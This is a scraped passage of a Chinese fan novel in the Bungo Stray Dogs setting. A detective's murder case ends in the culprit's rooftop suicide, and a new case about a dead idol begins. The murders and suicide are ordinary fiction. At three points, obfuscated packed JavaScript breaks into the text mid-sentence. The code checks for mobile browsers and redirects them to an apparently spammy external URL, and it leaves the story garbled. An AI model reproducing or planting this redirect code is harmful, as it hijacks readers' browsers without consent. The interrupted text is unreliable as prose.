吉田友香神神秘秘地说:“这可是秘密哦,是我和姐姐之间的秘密。” 其实她从很早之前就想吐槽,吉田友香一直把姐姐挂在嘴边,真的不是重女吗? “嘁,故弄玄虚。” “星野小姐也要跟着我一起去吗?” “你说呢?” 她就是来和吉田友香对峙的,怎么可能不跟着一起去,顺便看看这家伙要去哪里。 吉田友香在前面带路,爬上通往顶楼的楼梯:“其实我没想到星野小姐这么温柔,还愿意和之前一样和我说话。” “哈?你是不是搞错了,我根本就没有对你温柔好吧?” “星野小姐真是不坦率呢。”随后想起了什么开心的事情,唇边扬起笑意:“不过这样也好,这样的星野小姐我也很喜欢。” “?谢谢,但我不喜欢你。” 星野凛看了眼楼梯,有气无力道。 又是爬楼梯,该死的物业就不能安装一个电梯吗?星野凛严重怀疑自己被楼梯诅咒了,这几天爬的楼梯比她吃的饭都多。 吉田友香打开封锁住顶楼的门,率先走了进去。 星野凛走近后,发现吉田友香从背包里掏出一个心型罐子,里面装满了散发着黄绿色光芒的萤火虫。 现在已经是九月末了,萤火虫已经减少活动了,吉田友香到底在哪抓的…… “姐姐说萤火虫可以带来好运,只要我在迷茫或者做什么重大决定的时候,就在天台上放萤火虫,她说萤火虫会为我带来好运和希望的。” 星野凛抬头看了眼高悬的太阳:“谁会在大白天放萤火虫啊?你是白痴吗?” 吉田友香把心型罐子放在眼前,黄绿色的光映在她的眼中:“可是姐姐说无论是白天,还是晚上都可以放的。” “……” 完全沟通不了,重女+姐控实在是太可怕了。 “你为什么要杀佐藤凉介?” 这话一出,瞬间把刚刚平和假象,撕了个精光。 “星野小姐是在质问我吗?”吉田友香脸上的笑意荡然无存,故作苦恼道: “我也不想的,毕竟凉介是我最好的朋友,但他居然敢威胁我,为了不让他把一切都说出来,没办法,只好灭口了。而且凉介本来就打算寻死的,我可是在帮助他。” 星野凛回想起信里的内容,佐藤凉介一开始就是个混淆视听的棋子,作用是吸引火力,替吉田友香背锅转移视线,让她有作案时间去杀吉田纲。 吉田友香和松本月华同流合污,而吉田友香以松本月华的异能【鬼魅之声】能召唤鬼魂作为条件,让佐藤凉介心甘情愿地给她当棋子。 记得之前吉田友香就告诉过星野凛,佐藤凉介想见到死去父母的灵魂才对灵异志怪的事这么感兴趣,渴望父母的灵魂把自己也一起带走,不给姐姐添麻烦,让她去过自己的人生。 姐姐是佐藤凉介唯一的家人,看到姐姐危在旦夕他才清醒过来,选择以这种方式把真相告诉星野凛。 一切都串联起来了,难怪佐藤凉介会问她有没有被信任的人,背叛的经历,原来是被吉田友香给背叛了。 吉田友香兴奋地说:“杀人这种事还真是熟能生巧啊,有了第一次就会有第二次,实在是……太上瘾了。” 星野凛看着她癫狂的模样,叹气道:“为什么要伤害佐藤小姐?” “因为她看见了不该看的东西,我当时正在杀我父亲呢,没想到她来送食物,目睹了一切。” “我答应过凉介不会杀他姐姐的,所以手下留情了,可没想到凉介这么小心眼,会因为这件事跑来威胁我,还把真相都告诉给星野小姐了,还真是小瞧他了。” 吉田友香说完还心有余悸地叹了口气。 星野凛把指尖陷进掌心里,用力攥紧:“那你为什么要杀吉田纲?” 吉田友香像是听见了什么好笑的笑话,“哈哈哈哈哈……星野小姐你连这么明显的事都看不出来吗?” 可恶!这家伙是在嘲笑她的探案能力吗? “我又没有读心术,我怎么知道你为什么杀吉田纲。” 吉田友香收起了笑,声音愤恨道:“那样的人根本就不配做我的父亲。” “星野小姐你见过因为赌博输了,就要自己的女儿去下海的父亲吗?吉田纲这个混蛋,他居然想要姐姐去以身抵债。” 星野凛松开攥紧的指尖,掌心全是掐出的印子,她张了张口,还是没有说话。 “姐姐无奈只好退学,出去工作帮父亲还债,开出的条件是不能再打我和她的主意。自此姐姐也算是逃离了这个家,在外面虽然辛苦但好在不用每天面对吉田纲那张丑恶的嘴脸,甚至每年都会给我寄东西过来。” 星野凛想到之前吉田友香说关于吉田友梨的事,“原来你在姐姐的事上说谎了啊……” 吉田友香冷笑道:“不说谎等星野小姐来怀疑我吗?我可没有那么蠢。” “吉田纲做过的事可远远不止这些呢,记得小学三年级开家长会的时候,故意当着全班同学的面辱骂我,每年校园祭都会关我禁闭,害我迟到被同学嘲笑欺负,连我的生活费都是姐姐每月从隔壁市汇过来的,还被他拿去赌博,我每天在学校里只能饿着肚子,回到家还要忍受他的怒火,凭什么呢?” “星野小姐,你说我凭什么要忍受这一切呢?” “你母亲……算了。” 星野凛欲言又止。 吉田琴子是非常典型的妻母非母,估计也是站在吉田纲的一边冷眼旁观。 吉田友香疑惑道:“星野小姐为什么不把话说完呢?” “我母亲可是一个冷漠的帮凶哦,想必星野小姐第一次来我家的时候就被我家的相处模式给震撼到了吧?之前可是更离谱呢。” “不过这都是她自找的,是她自己心甘情愿当免费保姆,没人逼她。” 吉田友香把心型罐子抱紧:“星野小姐不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037678|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会还以为她是装的吧?那蠢货的演技怎么可能有这么好。” “嘴上说着离婚,我和姐姐只不过是她的借口而已,她自己上赶着犯贱不想离开吉田纲,非要拿孩子做文章,这种人真是烂透了。” 吉田友香露出一个甜甜的笑:“星野小姐要不要猜一猜,吉田琴子是怎么变成这样的?” 星野凛略微思索道:“不会是她目睹了你杀害吉田纲的全过程,接受不了才变成这样的吧?” “星野小姐真是聪明啊,真相就是这样。吉田琴子就是因为失去了吉田纲才变成现在这样的,我本来想把她变得和佐藤爱一样的,没想到她这么痴情,真是省了我不少时间呢。” 星野凛看了眼手表,下午3:00点了,不能再浪费时间了,得赶紧把吉田友香带回警察署,让她认罪归案。 “给你三分钟,你还有什么想说的吗?” “星野小姐是急着将我缉拿归案吗?” “不然呢?” 吉田友香得意地提醒道:“星野小姐还真是健忘啊,嘴上说着要将我缉拿归案,证据呢?就凭佐藤凉介的那封信吗?可是,并没有实质性的证据证明这一切都是我做的啊。” “要让星野小姐失望了,真是抱歉啊。” 吉田友香把萤火虫全都放了出来,“现在,我终于可以去找姐姐一起生活了,这一刻,我真是等了太久太久了。” “姐姐本来想带我一起离开的,可惜被吉田纲给拒绝了,能自己掌控人生可真好啊,再也不用受人摆布了。” 星野凛本想说什么,结果被吉田友香的手机铃声给打断了。 “……” 又来了,说话必备打断,这是规则怪谈吗? 吉田友香接通手机:“我是吉田,请问你是?” 手机那头的声音很急:“这里是横须贺市警察署,您是吉田友梨小姐的妹妹吧?她的紧急联系人里只有您一个人。非常抱歉,吉田友梨小姐于今天上午见义勇为的时候,不幸身亡了,请您节哀!” 吉田友香的大脑一片空白,半天没有动静,手机却还在喋喋不休:“您还在听吗?吉田友梨小姐的死亡原因是溺亡,救人的时候脚抽筋,却拼命把对方送上岸,自己却……总之请您务必来我们这里认领尸体。” “请您……” 吉田友香挂断通话,手机瞬间没了声响。 她看着飞舞的萤火虫,跪坐在地:“不是说会带来好运的吗?” 手机发出“嗡嗡”的声音,她点开邮箱,是一条语音,音质不是很清楚,有水流的哗哗声,还有手臂在水里扑腾的声音: “抱歉啊友香,姐姐要食言了,说好的带你来这里一起生活的……当你听到这条语音的时候,姐姐可能已经不在这世上了,你要好好照顾自己,好好学习,逃离原生家庭。姐姐知道你肯定会怪姐姐为什么狠心丢下你,但没办法嘛,姐姐鲁莽一辈子了,就让姐姐再鲁莽一次吧,相信友香一定会理解姐姐的对不对?” 声音断断续续,听不真切,“以前总觉得死亡很可怕,但真正直面它的时候反而没那么怕了,姐姐唯一放心不下的就是你,不过你已经是大孩子了,不需要姐姐操心了,唔……水没到鼻子了,这下真的要说再见了友香,姐姐希望你永远做个单纯快乐的孩子,永别了友香……” 吉田友香捧着手机泣不成声:“为什么……为什么会这样……我好不容易做完这一切,为什么?” 星野凛忍不住叹气,把纸巾递给吉田友香:“别难过了,你姐姐一定不希望你为了她而哭泣,她到死都希望你能够开心快乐。” 吉田友香接过纸巾:“星野小姐你觉得我像不像个笑话?明明就要实现了,事情为什么会发展成这样?” 星野凛认真道:“我从来都没有这么觉得,你只是陷在了自己的执念中,这份执念无论怎样,都不该由我来评判。” 随后又补充道:“但这不代表我认同你的行为,错了就是错了,这是原则问题。” 吉田友香轻声道:“你真的好像我姐姐啊……” 星野凛没有听清:“什么?” “没什么。”吉田友香摇了摇头:“星野小姐,真的谢谢你。” “谢我什么?如果非要谢的话不如赶紧和我回警察署认罪。” 吉田友香笑着走向天台边缘,随后像一只试飞的雏鸟一样,从天台一跃而下。 “你要干什么?!”星野凛立马跑过去,可惜晚了一步,没有抓到她的手。 星野凛火急火燎跑下楼,周围已经围满了人,吉田友香躺在了血泊之中,唇角含笑。 她拿出手机拨打了警察署的电话,随后又联系了太宰。 * “这就是这起案件的前因后果了。” 星野凛在警察署向村上警官阐述了前因后果。 “原来如此。” 村上警官问:“吉田琴子打算怎么安置?” “这个就不用担心了,吉田友香已经提前联系好她母亲那边的亲属了,会有人照顾她的。” 太宰从外面进来,带来一身凉气:“凛酱我刚刚接到电话,说佐藤小姐醒了,她要离开横滨了,想在临走之前见你一面。” 星野凛:“诶?——” 15. 第 15 章 星野凛简单告别村上警官后就回到了侦探社,四处张望,没有看到佐藤爱的身影:“佐藤小姐呢?不是说要见我一面吗?” 太宰解释道:“佐藤小姐还在医务室呢,与谢野医生正在给她检查,没什么大碍就可以放心让她走了。” “我知道了。” 星野凛走进医务室,看到了坐在病床上和与谢野医生聊天的佐藤爱,略带歉意道:“打扰了。” 佐藤爱看向星野凛:“你就是星野小姐吧?” 星野凛点点头。 与谢野晶子体贴道:“你们先聊吧,我出去买点医疗用品。” 见与谢野医生走后,星野凛才问:“佐藤小姐找我有什么事吗?” “凉介的事,我很抱歉。” 佐藤爱摇摇头:“星野小姐,这不能怪你,我找你只是想道个别。” 紧接着拿出一封信:“这是凉介留给我的信,他在信上已经说得很明白了,我打算离开横滨去别的地方生活。” 佐藤爱眷恋地看着窗外的景象:“横滨承载了太多的回忆,留在这里只会徒添悲伤,不如离开这里,去更远的地方来忘掉悲伤。” 呃……那和她有什么关联吗?随便找个人来道别不就得了。 星野凛这么想着,也问出了口:“我尊重佐藤小姐的任何选择,但找我道别是不是有点…草率?” 佐藤爱苍白的唇角漾出笑意:“星野小姐真有趣,是因为凉介在信里说你是可以信赖的人,我才想着和你道别。” 值得信赖的人?她吗?没想到佐藤凉介对她评价还挺高。 “既然该说的都说完了,我也该走了。” 星野凛提着行李箱往外走:“佐藤小姐,你的身体刚好,我来帮忙吧,顺便送送你。” 佐藤爱掩唇轻咳:“谢谢星野小姐。” 直到看着佐藤爱坐上出租车后,星野凛才回到侦探社。 希望佐藤小姐一路顺风,不要继续沉溺在悲伤中,人生还长着呢。 * 转眼间两个月过去了,星野凛正坐在侦探社楼下的咖啡店里发呆。 真没想到啊,时间过得真快,本以为上次的案件没通过考验,毕竟她解决得一团糟,被拒绝也在情理之中吧,结果居然通过了。 真不知道这是幸还是不幸。 经过上次的案件,星野凛对于组织和松本月华还是一头雾水,大脑时不时传来钝痛,像是在警告她不要去追寻原本的记忆。 可人就是有反叛心理,越不让做的事越是想做,大脑不让她想起,她偏要想起。 星野凛有点后悔当初没有向松本月华询问一些细节。 为了再次遇到组织的人,获得消息,顺便看看能不能恢复记忆,她这两个月里解决了不少案子,也积累了一些经验,可惜都一无所获。 顺便一提,这两个月里她已经和侦探社的大家都混熟了,大家知道她的情况,所以一有什么案件都会让她去解决。 今天是难得的清闲日子,星野凛伸了个懒腰:“天气可真好啊。” “对吧?今天天气这么好,简直是入水的大好日子啊。” 太宰坐在她旁边亢奋道。 坐在对面的国木田折断了钢笔,忍无可忍道:“你这混蛋!好不容易休息就给我老实点啊,哪有在别人休息的时候突然去入水的啊?!” “国木田君不要那么当真嘛~我就是说说而已。” 中岛敦坐在国木田身边瑟瑟发抖:“太宰先生,请你不要再说了……” 星野凛安慰道:“没关系的敦君,让他去说吧,反正国木田君是不会误伤到你的。” 中岛敦: “……” 在一旁看戏真的好吗? 太宰故意拖长语调:“诶?——凛酱好过分,都不知道担心人家,万一人家被国木田君打成重伤了怎么办?” “不用万一,我现在就把你打成重伤!” 国木田气势汹汹地站起来把太宰踹到一边。 中岛敦立马坐到星野凛的旁边:“还是星野小姐的身边安全一点。” “好无聊啊……” 星野凛神情恹恹地趴在桌子上。 “不如星野小姐来猜一猜国木田先生和太宰先生,加入侦探社前做的职业吧?” 星野凛看了看国木田又看了看太宰,思索道:“国木田君的话,应该是教导主任或者教师吧。” 国木田重新回到座位,喝了口咖啡:“你怎么知道的?不会是太宰那家伙说的吧?“ “因为国木田君实在是太严厉了,如果是教师的话,按照刻板印象教的肯定是数学。” 中岛敦惊叹道:“好厉害——” “星野小姐再猜一猜太宰先生吧,目前社里还没有一个人猜出太宰先生之前是做什么的。” 星野凛不假思索道:“那家伙啊,肯定不可能做普通工作,说不定白天在会所里做牛郎,晚上就做杀手或者其他危险的工作。” 太宰拍了怕身上的灰尘,“不愧是凛酱,虽然没有完全答对。” “哦,没答对的部分肯定是做杀手之类的,做过牛郎就大方承认嘛,我又不会嘲笑你。” 太宰笑而不语,转移话题道:“话说今天店员小姐怎么没来?她不来我的整颗心就碎掉了,好可怜的说~” 星野凛用勺子搅了搅咖啡:“可能是单纯不想看到你那张轻浮的嘴脸吧。” “怎么会,我们相处得很愉快哦~” “是吗?那恭喜你了,你们要是有什么新进展的话记得请我吃顿饭,庆祝一下吧。” 星野凛往咖啡里放了几块方糖,慢斯条理地搅拌。 反正也不可能真的有进展,客套一下算了。 “好哦~” “那个……店员小姐请假好像因为她的偶像意外身亡,正忙着伤心,才不来的。” 中岛敦弱声道。 他说完走到前台拿了几张报纸和杂志过来:“店员小姐的偶像就是他,前大热男团组合FFF的成员,当红偶像——山本悠真。” 星野凛一把抢过报纸,上面的新闻标题特别夸张,什么当红偶像惨死家中,事务所毫无作为,前队友漠不关心,反正怎么吸睛怎么写。 看了眼报道时间是昨天晚上8:00,也就是说人早在这之前就出事了。 “这么重大的案件,为什么没人委托我们啊?” 星野凛疑惑道。 国木田:“可能警察那边自己能解决,就不需要委托我们了。” “好可惜啊,错失了一笔委托费。” 这两个月赚取的委托费和工资都让她还钱,还有寄给咖啡店店长了,现在手上分毛没有,这顿咖啡还是中岛敦请的。 “没办法嘛凛酱,大不了我们再解决别的案子,现在就多休息一段时间吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037679|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,星野凛的手机铃声响了,显示来电人是村上警官,她接通开口:“我是星野,请问有什么事吗?” “我是村上,这几天的偶像身亡事件听说了吧?这起事件让警察署被高度关注,一直处在舆论当中,如果在一周之内没有破案,他们就要大闹警察署,我实在是顶不住压力了,想委托侦探社来调查这个案件。” “没问题,这个案件我接了,请村上警官放心,我一定会在一周之内完美解决的。” “好,就这样,我还有事情要忙。” “村上警官再见。” 星野凛挂断电话后激动地一拳捶向桌子:“真是太好了!你们谁和我一起去?” 桌子边缘立马裂开几道蜘蛛网状的裂纹。 国木田&中岛敦&太宰治:“……” 见没人应声,星野凛掩耳盗铃地捂住裂开的地方,看向太宰:“既然没人和我一起去,那就让太宰君陪我一起去吧。” “太宰君” 这三个字就像是魔咒一样飘进太宰的耳朵里。 太宰面露难色:“呜哇——放过我吧,我已经陪凛酱解决了三十个小案子,五十个大案子了,凛酱就不能让我休息一下吗?” 星野凛正义凛然地把双手比成一个叉号:“不行,身为一名侦探怎么能懈怠呢?我们要向国木田君学习,要做个认真负责,热爱工作,有理想有抱负的人。” 国木田不好意思地轻咳两声:“太宰你就陪星野一起去吧,反正你这家伙闲着也是闲着,不如多解决几个案件。” “诶?” 太宰好奇地问:“那凛酱的抱负是什么?” “这个问题好宏大,我还没有想好。” “这样吗……” 星野凛拿起报纸就往店外走:“好了,快点和我一起去调查。” 太宰苦着脸:“非去不可吗?我都已经好久没入水了,好想念在水里的日子啊。” “我把霉运传递给你总行了吧?” 太宰这家伙,特别羡慕她的倒霉体质,每次看见她喝水被呛,吃饭被噎,都会双眼放光,说什么这种自杀方式好有新意,他也好想尝试。 当时听得她拳头都硬了,真是身在福中不知福,天知道她多想和正常人一样啊,结果他还不知足。 倒霉体质不会直接传染给别人,但能间接传染,比如她把没拆开的手榴弹扔给太宰,那太宰就会被莫名其妙爆炸的手榴弹炸伤,再比如把她拿过的饭团递给太宰,太宰就会被饭团噎住,严重点还会被噎死。 这些充满了日常的死亡方式,让太宰很向往,每次都缠着她把霉运间接传递给他。 不过有一点很奇怪,每次在她把霉运间接传递给太宰的时候,她倒霉的次数就会变少,不知道是错觉还是心理暗示。 总不可能是太宰那家伙在帮她消化霉运吧? 绝对不可能,她向来不是自作多情的人,太宰这么做肯定是为了满足他的自杀癖好。 太宰听到这句话,瞬间由阴转晴:“事不宜迟,我们赶紧出发吧~” “……” 看吧,这家伙就是单纯觉得倒霉体质新奇,符合他的癖好才这样的。 星野凛在咖啡店门口打了个车,“师傅,去星中星事务所。” 太宰叹谓道:“凛酱越来越有一个侦探的样子了嘛,连对方的事务所都记下来了。” 16. 第 16 章 星野凛有些无语:“请你不要说一些很平常的小事来捧杀我,谢谢。” 就算是一个新人,每天接手那么多案件,也该学到点东西了吧?太宰那家伙是想把她捧上天,以此来衬托自己多么成熟稳重吗? 真幼稚。 太宰笑着说:“没有在捧杀哦~是真的在夸奖。” 鬼才信…… 她干巴巴地应下:“谢谢啊。” 想了想觉得应该礼尚往来一下,星野凛打量了一下太宰,搜肠刮肚地找合适的词汇,沉吟片刻,说:“你的脸挺好看的,脑子也挺聪明,浮夸的样子很适合做演员,轻浮的样子适合演渣男。” “我可是在认真夸你,真的。” 星野凛眨了眨青色的眼睛,满眼真诚。 太宰:“……” 他并不想要这样的夸赞,谢谢。 “没想到我在凛酱的心里居然是这种形象,明明凛酱在我心里很可靠的说,这根本就不公平!” 星野凛看着车窗外一闪而过的景象,打了个哈欠: “没有什么不公平的,多找找自己的原因吧,这么多年浮没浮夸,轻没轻浮,自己心里没点数?哪里不公平了,我一直是一个很公平公正的人,你觉得不公平是你的问题。” 太宰瞪大了眼睛:“?诶?好过分——” 星野凛熟练地捂上耳朵,要问她为什么这么熟练,还不是因为太宰这家伙实在是太吵了,一惊一乍的。 “师傅,还有多久到星中星事务所?” 司机师傅应道:“快了,还有二十几分钟就到了,如果你们想要快点的话,也不是不行,就是得加钱。” 星野凛瞬间不着急了:“师傅你慢慢开吧,我们不需要快,慢一点也没关系的。” 霓虹打车本来就很贵,再加钱她还要不要活了? 不对,她现在是穷光蛋,本来也快活不下去了,存钱真的好难。 “你带钱了吗?我没钱怎么办?” 她在太宰耳边小声地说。 “我也没带怎么办?” 太宰以同样的音量回她。 ?这是什么天崩开局,没搞错吧?怎么办?她难道要坐霸王车了吗? 谁料下一秒,太宰用明快的语调说:“骗你的~我怎么可能没带嘛,因为凛酱经常没有钱,我只好随身携带啦~” 星野凛用力抓住他的衣领:“都说了多少遍,不要把我当成国木田君整啊!你这个混蛋,还内涵我没钱,你难道是什么亿万富翁吗?!” 太过分了,耍她就算了,还要说她没钱,难道不知道没钱的人最听不得这种话了吗?! “星中星事务所到了,你们谁付钱?” “他!他付。” 星野凛指着太宰道。 等太宰付完钱后,星野凛早就走到了事务所门口。 刚想进去,就被保安拦下:“无关人员,不得入内,请好好配合,谢谢。” “我们是来调查案件的,不是什么无关人员,烦请配合一下。” 哪怕星野凛说完,保安还是那副说辞:“不关人员,不得入内,请好好配合,谢谢。” 这家伙是复读机吗?只会重复一句话,没完没了。 太宰灵活地挡在星野凛面前,对保安说:“工作这么久,真是辛苦了,或许贵社没收到警察署的通知?我们是武装侦探社的哦~如果没收到通知,我可以打给警察署确认的。” 星野凛心领神会地打给了村上警官,对面立马接通:“星野小姐吗?调查的怎么样了?还算顺利吗?” “是我,一点都不顺利,我们去山本的事务所调查消息,结果被保安先生给拦下了,村上警官可以帮我们说几句吗?” 星野凛点开免提,递到保安的面前:“请配合侦探社的行动,这起案件警察署全权交给了他们,贵社还没有接到通知吗?” 保安的手机下一秒就接到了上司的来电,星野凛听得很清楚,是让放行的通知。 她对着手机道:“谢谢村上警官,我们可以过去了。” “能帮到你们就好,有什么需要的尽管开口。” 挂断和村上警官的通话后,保安那边还在低眉敛目挨训,她耐心地等待保安挂断通话。 三分钟过去了,还没训完,什么魔鬼上司,难怪这个保安这么秉公执法,要是有一丝懈怠的话,估计又是一顿训。 明明是事务所对自家艺人不上心,连警察署把案件交给侦探社的消息都不传递给部下,真是家黑心事务所啊。 同为打工人,星野凛实在是看不下去了,一把抢过保安的手机:“我是侦探社社员,请你不要浪费我们的时间可以吗?让保安先生快点给我们放行。” 对面好像喝了酒,说话有点大舌头:“侦、侦探社的吗?请你们一定、一定……一定要把杀害悠真的凶手找出来,我们事务所少了一个摇钱树,对财务打击很严重的。” 星野凛没耐心道:“哎呀,我保证,快点给我们放行。” “野本,给他们放行。” 此话一出,那个叫野本的保安才给他们放行,“请你们务必调查出真相,拜托了。” 星野凛惊奇道:“原来你不是复读机啊,不过我还是喜欢你当复读机的样子。” “……” 太宰看眼前着高耸 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太宰在一旁催促道:“凛酱快点走吧,还要去调查真相呢,有什么好看的。” 星野凛鬼使神差地多看了几眼青木翔太的照片:“知道了,马上走。” “太宰,你要明白人是视觉动物,看见长得好看漂亮的人难免会想多看几眼嘛。” “那凛酱看我不就好了吗?干嘛要去看一个不会动的照片?” 星野凛刚想说你有什么好看的,太宰突然弯腰贴脸靠近她:“我难道不够好看吗?” 天天和这家伙待在一起,都快忘记他的美貌了,她确实不能昧着良心说太宰不好看。 只好按下去往上一层的电梯,“类型不一样嘛,你如果是一朵百合花,那青木就是玫瑰花,山本是平平无奇的绿叶。” 电梯很快在第二层打开,星野凛一走出电梯就听到聊八卦的声音。 “我跟你讲,我上部剧的男主说自己二十岁,其实已经三十多了,还能和我搭戏,全靠走后门。” “真的假的?保养得真好啊,随意篡改年龄真的没问题吗?” “高桥小姐,你还是太正直了,都在业内干了这么多年了,这有什么好稀奇的。” “重点是他结过婚,有一个八岁大的女儿,却还要卖青春貌美的人设,真是太恶心了,下次千万不要和他合作,一有他的戏,立马推掉。” 星野凛:“?” 你们在这说同行的八卦真的好吗?一点也不严谨啊喂!真的不怕被媒体爆料吗? 17. 第 17 章 太宰看着星野凛一动不动,笑着说:“凛酱在玩三二一木头人吗?” 星野凛拉着太宰躲到视野盲区,用手做了个噤声动作:“嘘,小点声,别让她们发现了。” 太宰疑惑道:“可是凛酱,我们本来不就是要去调查真相的吗?为什么要偷偷摸摸的呢?” 对哦,她为什么要藏起来? 不对,这么突然出去恐怕会打草惊蛇,没错,这么想着她自信开口:“这你就不懂了吧,我这叫迂回战术,多观察观察,然后冲出去杀她们一个措手不及。” 太宰:“……”迂回战术是这么用的吗? “反正我们躲这偷听也不是没有好处的,说不定还可以获得情报呢。” 太宰没精打采地说:“分明是凛酱你自己想听八卦吧?但那些八卦真的很无聊啊。” 星野凛反驳道:“才没有呢!你不要污蔑我,我全是为了案子才忍辱负重在这偷听的。” “……” “哎呀,你就别抱怨了,她们又开始说别的了,先安静一会。” 太宰无奈地叹气,果然那两人又开始说了。 “真是可惜,我的晨间剧好不容易要播了,结果因为山本又撤档延期了,高桥小姐,你下次一定要帮我把握好品控,从剧本到演员,不要放过任何一个细节。” “可是很多时候总是有不可抗力因素嘛,就像这次的山本,我们也没想到他会出事,实在是太意外了。” “山本……算了,不提他了。我过几天的品牌活动帮我谈好了吗?” “放心吧,还是和之前一样,这次晨间剧撤档对你没什么影响。” “那我就放心了,我要回家好好放松一下,这几天连轴转真是太辛苦了。” 不好,她们要走了。意识到这一点星野凛立马跑到两人面前:“请等一下,我们是来调查案件的,能告诉我们更多关于山本先生的事吗?” “调查案件的?你们是武装侦探社的吗?” 太宰从视角盲区慢慢走来:“没错哦~这位美丽的小姐,能告诉我们一些情报吗?” “花言巧语对我没有用,虽然事务所让我们全权配合这起案件,但有些事已经涉及到事务所的利益了,写在合同里的,所以抱歉,我不能透露太多。” 那个叫高桥的女人貌似是她的经纪人,在旁边催促:“我们还是快点走吧。” 女人微笑致歉:“那我就失陪了,你们慢慢调查。” 什么嘛……还涉及利益不能说,她刚刚不是说的很起劲吗?一定是故意的,绝对是故意的! 看着女人离开的背影,星野凛瘫坐在地:“你觉得这起案件有什么古怪吗?” 太宰尝试把她拉起来:“就是一起普通杀人案啦,没有什么古怪。” “倒是凛酱你还不快点起来,地上很凉的,小心着凉。” “知道了知道了。”她说完把手递给太宰,因为想事情太专注,没注意到自己的力量都加注到了手上,直到太宰被她扯倒在地,她才反应过来。 “不好意思啊,我没注意到,你没事吧?” 太宰猝不及防地倒在地上时,还有点懵,怎么回事?怎么拉人不成,反被扯倒在地了? “我没事,只是没想到凛酱的力气居然变得这么大了。” 星野凛不以为意:“我之前力气也很大啊,可能是我最近吃得太多了,肌肉也增加了吧。” “别想这些有的没的了,我们快点想办法撬开那家伙的嘴吧,总感觉她知道很多内幕。” 太宰率先站起,向她递出了手:“那凛酱有什么头绪吗?” 星野凛这次轻轻把手递给他,没出什么意外:“这里可是事务所内部,随便找台电脑就能查到。” 太宰显然明白她要查什么,指着楼道尽头的私人办公室说:“就去那里吧,还能省点时间。” 走到私人办公室前,星野凛拧了半天门把手都拧不开,“好像上锁了。” “没关系,交给我吧。” 太宰不知从哪掏出一根铁丝,放进锁孔里,没几下门就开了。 ???不是,这人买金手指了吧?铁丝居然能开锁?太离谱了吧…… 太宰打开门,不解地看着星野凛:“怎么了凛酱,快点进来吧,私自动用他人的东西可是不好的行为哦~我们得速战速决才行。” 星野凛一脸复杂地看着太宰:“这就是主角和路人甲的区别吗?我悟了。” “凛酱在说什么啊?什么主角路人甲,没有谁生下来就是主角,也没有人生下来就是路人甲,关键在于你自己,你认为自己是什么,那自己就是什么,别人是无法左右的。” “那我认为自己是神明大人,你快点虔诚地信奉我吧。” “ ?” 星野凛进去后,打量了一下四周,是很简单的装潢,和整个星中星事务所形成了极端的对比,衬得这个办公室是那么地清新脱俗。 墙上挂着一张很大的艺人照片,是刚刚那个女人,上面用罗马音和汉字标注着她的名字——小林未央。 工位上的电脑旁还放着长方形的姓氏牌,上面写着“高桥”二字,看样子这个私人办公室是小林未央的经纪人高桥的。 星野凛坐到工位上,打开电脑,发现没有设密码,“这台电脑就是个摆设吧,连密码都没有,更别提什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037681|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情报了。” 不过也正常,事务所里那么多艺人,万一被同事窃取走什么重要信息和资源了怎么办,在那个圈子里混,估计都巴不得对方倒台,自己上。 太宰把旁边的旋转椅推过来,挨着她坐:“凛酱你往里边一点,给我留点空嘛~” 星野凛只好往旁边挪了一点,在电脑上注册了一个ig账号,找了好久,终于找到了小林未央的黑粉群,提交了入群申请。 没一会就通过了。 【哟,居然来新人了,欢迎加入。】 【新人小姐,我能冒昧地问一下讨厌小林未央的原因是什么吗?】 这人真的是黑粉吗?用词这么礼貌,该不会是真爱粉反串的吧? 星野凛随便编了个理由发过去,【讨厌她没素质到处吐槽同行。】 没想到全是赞同附和的。 【我也是因为这个原因,一开始把她当成女神偷偷喜欢,后来发现她的真面目后立马脱粉,怎么可以这么没有礼貌,滤镜碎了一地……】 【只能说小林的伪装实在是太好了,大家都被她的外表给欺骗了。】 【像她这种随便吐槽同事的人实在是太差劲了!】 ?星野凛没想到她只是随便编了个理由,这帮人就都出来无脑认同,不愧是黑粉群。 有时候人对人的恶意就是这么莫名其妙,你可能只是呼吸,对方就会觉得你污染了空气。 星野凛不想和这帮人聊下去了,直击重点,【你们有谁知道小林的秘密吗?】 【我知道,小林其实特别喜欢逛牛郎店,之前都被报道出来了,可惜她的公关实在是太厉害了,没几天就被压下去了。】 星野凛打探完想要的消息之后,就退出了群聊,顺便把账号给注销了。 太宰忽然有一种不好的预感:“凛酱你不会是想让我混进去当牛郎吧?” “真聪明啊,不愧是太宰君。” “诶?” “为了调查案件你就忍忍嘛,而且里面有很多有钱又美丽的女性的,你说不定还能邀请到殉情对象,有什么不好的。” 